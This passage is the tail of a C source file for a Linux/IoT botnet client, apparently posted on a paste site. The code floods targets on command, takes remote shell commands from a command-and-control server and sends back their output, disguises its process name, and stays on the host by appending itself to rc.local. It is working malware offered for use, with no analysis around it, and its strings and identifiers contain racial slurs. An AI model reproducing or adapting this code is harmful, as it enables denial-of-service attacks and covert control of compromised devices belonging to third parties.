  2365. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2366. _exit(0);
  2367. }
  2368. }
  2369.  
  2370. if(!strcmp(argv[0], "CNC"))
  2371. {
  2372. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2373. {
  2374. return;
  2375. }
  2376.  
  2377. unsigned char *ip = argv[1];
  2378. int port = atoi(argv[2]);
  2379. int time = atoi(argv[3]);
  2380.  
  2381. if(strstr(ip, ",") != NULL)
  2382. {
  2383. unsigned char *hi = strtok(ip, ",");
  2384. while(hi != NULL)
  2385. {
  2386. if(!listFork())
  2387. {
  2388. sendCNC(hi, port, time);
  2389. close(mainCommSock);
  2390. _exit(0);
  2391. }
  2392. hi = strtok(NULL, ",");
  2393. }
  2394. } else {
  2395. if (listFork()) { return; }
  2396.  
  2397. sendCNC(ip, port, time);
  2398. _exit(0);
  2399. }
  2400. }
  2401.  
  2402. if(!strcmp(argv[0], "STD"))
  2403. {
  2404. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2405. {
  2406. return;
  2407. }
  2408.  
  2409. unsigned char *ip = argv[1];
  2410. int port = atoi(argv[2]);
  2411. int time = atoi(argv[3]);
  2412.  
  2413. if(strstr(ip, ",") != NULL)
  2414. {
  2415. unsigned char *hi = strtok(ip, ",");
  2416. while(hi != NULL)
  2417. {
  2418. if(!listFork())
  2419. {
  2420. sendSTD(hi, port, time);
  2421. _exit(0);
  2422. }
  2423. hi = strtok(NULL, ",");
  2424. }
  2425. } else {
  2426. if (listFork()) { return; }
  2427.  
  2428. sendSTD(ip, port, time);
  2429. _exit(0);
  2430. }
  2431.  
  2432. }
  2433.  
  2434. if(!strcmp(argv[0], "STOPATTK"))
  2435. {
  2436. int killed = 0;
  2437. unsigned long i;
  2438. for (i = 0; i < numpids; i++) {
  2439. if (pids[i] != 0 && pids[i] != getpid()) {
  2440. kill(pids[i], 9);
  2441. killed++;
  2442. }
  2443. }
  2444.  
  2445. if(killed > 0)
  2446. {
  2447. sockprintf(mainCommSock, "Killed %d.", killed);
  2448. } else {
  2449. sockprintf(mainCommSock, "None Killed.");
  2450. }
  2451. }
  2452.  
  2453. if(!strcmp(argv[0], "KILLME"))
  2454. {
  2455. sockprintf(mainCommSock, "ima dup nigga");
  2456. exit(0);
  2457. }
  2458. }
  2459.  
  2460. int initConnection()
  2461. {
  2462. unsigned char server[4096];
  2463. memset(server, 0, 4096);
  2464. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2465. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2466. else currentServer++;
  2467. strcpy(server, TelnetNigger[currentServer]);
  2468. int port = Server_Botport;
  2469. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2470. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2471. return 0;
  2472. }
  2473.  
  2474. int getOurIP()
  2475. {
  2476. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2477. if(sock == -1) return 0;
  2478.  
  2479. struct sockaddr_in serv;
  2480. memset(&serv, 0, sizeof(serv));
  2481. serv.sin_family = AF_INET;
  2482. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2483. serv.sin_port = htons(53);
  2484.  
  2485. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2486. if(err == -1) return 0;
  2487.  
  2488. struct sockaddr_in name;
  2489. socklen_t namelen = sizeof(name);
  2490. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2491. if(err == -1) return 0;
  2492.  
  2493. ourIP.s_addr = name.sin_addr.s_addr;
  2494.  
  2495. int cmdline = open("/proc/net/route", O_RDONLY);
  2496. char linebuf[4096];
  2497. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2498. {
  2499. if(strstr(linebuf, "\t00000000\t") != NULL)
  2500. {
  2501. unsigned char *pos = linebuf;
  2502. while(*pos != '\t') pos++;
  2503. *pos = 0;
  2504. break;
  2505. }
  2506. memset(linebuf, 0, 4096);
  2507. }
  2508. close(cmdline);
  2509.  
  2510. if(*linebuf)
  2511. {
  2512. int i;
  2513. struct ifreq ifr;
  2514. strcpy(ifr.ifr_name, linebuf);
  2515. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2516. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2517. }
  2518.  
  2519. close(sock);
  2520. }
  2521. /*
  2522. MIPS
  2523. MIPSEL
  2524. SH4
  2525. x86_64
  2526. i586
  2527. i686
  2528. PPC
  2529. m68k
  2530. sparc
  2531. ARMv4
  2532. ARMv5
  2533. ARMv6
  2534. */
  2535. char *getBuild() {
  2536.   #ifdef ARCH_MIPS
  2537.     return "MIPS";
  2538.   #endif
  2539.   #ifdef ARCH_MIPSEL
  2540.     return "MIPSEL";
  2541.   #endif
  2542.   #ifdef ARCH_SH4
  2543.     return "SH4";
  2544.   #endif
  2545.   #ifdef ARCH_X86_64
  2546.     return "x86_64";
  2547.   #endif
  2548.   #ifdef ARCH_I5
  2549.     return "i586";
  2550.   #endif
  2551.   #ifdef ARCH_I6
  2552.     return "i686";
  2553.   #endif
  2554.   #ifdef ARCH_PPC
  2555.     return "PPC";
  2556.   #endif
  2557.   #ifdef ARCH_M68K
  2558.     return "m68k";
  2559.   #endif
  2560.   #ifdef ARCH_SPARC
  2561.     return "sparc";
  2562.   #endif
  2563.   #ifdef ARCH_ARMv4
  2564.     return "ARMv4";
  2565.   #endif
  2566.   #ifdef ARCH_ARMv5
  2567.     return "ARMv5";
  2568.   #endif
  2569.   #ifdef ARCH_ARM6
  2570.     return "ARMv6";
  2571.   #endif
  2572. }
  2573.  
  2574. char *getType()
  2575.     {
  2576.         #ifdef ARCH_I6
  2577.             return "SERVER";
  2578.         #elif ARCH_X86_64
  2579.             return "SERVER";
  2580.         #elif ARCH_I5
  2581.             return "SERVER";
  2582.         #else
  2583.             return "ROUTER";
  2584.         #endif
  2585.     }
  2586. int main(int argc, unsigned char *argv[])
  2587. {
  2588. printf("peenis")
  2589. char *mynameis = "";
  2590. if(SERVER_LIST_SIZE <= 0) return 0;
  2591. strncpy(argv[0],"",strlen(argv[0]));
  2592. argv[0] = "";
  2593. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2594. srand(time(NULL) ^ getpid());
  2595. init_rand(time(NULL) ^ getpid());
  2596. pid_t pid1;
  2597. pid_t pid2;
  2598. int status;
  2599. int dupthing = 0;
  2600. char cwd[256],*str;
  2601. FILE *file;
  2602. str="/etc/rc.d/rc.local";
  2603. file=fopen(str,"r");
  2604. if (file == NULL) {
  2605. str="/etc/rc.conf";
  2606. file=fopen(str,"r");
  2607. }
  2608. if (file != NULL) {
  2609. char outfile[256], buf[1024];
  2610. int i=strlen(argv[0]), d=0;
  2611. getcwd(cwd,256);
  2612. if (strcmp(cwd,"/")) {
  2613. while(argv[0][i] != '/') i--;
  2614. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2615. while(!feof(file)) {
  2616. fgets(buf,1024,file);
  2617. if (!strcasecmp(buf,outfile)) d++;
  2618. }
  2619. if (d == 0) {
  2620. FILE *out;
  2621. fclose(file);
  2622. out=fopen(str,"a");
  2623. if (out != NULL) {
  2624. fputs(outfile,out);
  2625. fclose(out);
  2626. }
  2627. }
  2628. else fclose(file);
  2629. }
  2630. else fclose(file);
  2631. }
  2632.  
  2633. getOurIP();
  2634.  
  2635. if (pid1 = fork()) {
  2636. waitpid(pid1, &status, 0);
  2637. exit(0);
  2638. } else if (!pid1) {
  2639. if (pid2 = fork()) {
  2640. exit(0);
  2641. } else if (!pid2) {
  2642. } else {
  2643. zprintf("fork failed\n");
  2644. }
  2645. } else {
  2646. zprintf("fork failed\n");
  2647. }
  2648.  
  2649. setsid();
  2650. chdir("/");
  2651.  
  2652. signal(SIGPIPE, SIG_IGN);
  2653.  
  2654. while(1)
  2655. {
  2656. if(initConnection()) { sleep(5); continue; }
  2657.     int threads = 500;
  2658.     int timeout = 60;
  2659.     sockprintf(mainCommSock, "\x1b[1;30m|\x1b[1;37m\x1b[47mMODZ\x1b[40m\x1b[0m\x1b[1;30m| \x1b[0;35mConnected \x1b[43m%s\x1b[40m \x1b[43m%s\x1b[40m  \x1b[43m%s\x1b[40m  \x1b[43m%s\x1b[40m \x1b[39m", inet_ntoa(ourIP), getType(), getBuild(), VERSION);
  2660.   sockprintf(mainCommSock, "%s", getBuild());
  2661.     botkiller();
  2662.     char commBuf[4096];
  2663.     int got = 0;
  2664.     int i = 0;
  2665. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2666. {
  2667. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2668. unsigned int *newpids, on;
  2669. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2670. pids[on - 1] = 0;
  2671. numpids--;
  2672. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2673. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2674. free(pids);
  2675. pids = newpids;
  2676. }
  2677.  
  2678. commBuf[got] = 0x00;
  2679.  
  2680. trim(commBuf);
  2681.  
  2682. if(strstr(commBuf, "PING") == commBuf)
  2683. {
  2684. sockprintf(mainCommSock, "PONG");
  2685. continue;
  2686. }
  2687. if(strstr(commBuf, "KILLME") == commBuf){
  2688. dupthing++;
  2689. zprintf("\n");
  2690. if(dupthing > 20){
  2691. exit(0);
  2692. }
  2693. break;
  2694. }
  2695.  
  2696. unsigned char *message = commBuf;
  2697.  
  2698. if(*message == '!')
  2699. {
  2700. unsigned char *nickMask = message + 1;
  2701. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2702. if(*nickMask == 0x00) continue;
  2703. *(nickMask) = 0x00;
  2704. nickMask = message + 1;
  2705.  
  2706. message = message + strlen(nickMask) + 2;
  2707. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2708.  
  2709. unsigned char *command = message;
  2710. while(*message != ' ' && *message != 0x00) message++;
  2711. *message = 0x00;
  2712. message++;
  2713.  
  2714. unsigned char *tmpcommand = command;
  2715. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2716.  
  2717. if(strcmp(command, "CMD") == 0)
  2718. {
  2719. unsigned char buf[1024];
  2720. int command;
  2721. if (listFork()) continue;
  2722. memset(buf, 0, 1024);
  2723. szprintf(buf, "%s 2>&1", message);
  2724. command = fdpopen(buf, "r");
  2725. while(fdgets(buf, 1024, command) != NULL)
  2726. {
  2727. trim(buf);
  2728. sockprintf(mainCommSock, "%s", buf);
  2729. memset(buf, 0, 1024);
  2730. sleep(1);
  2731. }
  2732. fdpclose(command);
  2733. exit(0);
  2734. }
  2735.  
  2736. unsigned char *params[10];
  2737. int paramsCount = 1;
  2738. unsigned char *pch = strtok(message, " ");
  2739. params[0] = command;
  2740.  
  2741. while(pch)
  2742. {
  2743. if(*pch != '\n')
  2744. {
  2745. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2746. memset(params[paramsCount], 0, strlen(pch) + 1);
  2747. strcpy(params[paramsCount], pch);
  2748. paramsCount++;
  2749. }
  2750. pch = strtok(NULL, " ");
  2751. }
  2752.  
  2753. processCmd(paramsCount, params);
  2754.  
  2755. if(paramsCount > 1)
  2756. {
  2757. int q = 1;
  2758. for(q = 1; q < paramsCount; q++)
  2759. {
  2760. free(params[q]);
  2761. }
  2762. }
  2763. }
  2764. }
  2765. }
  2766.  
  2767. return 0;
  2768. printf("client exiting");
  2769. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement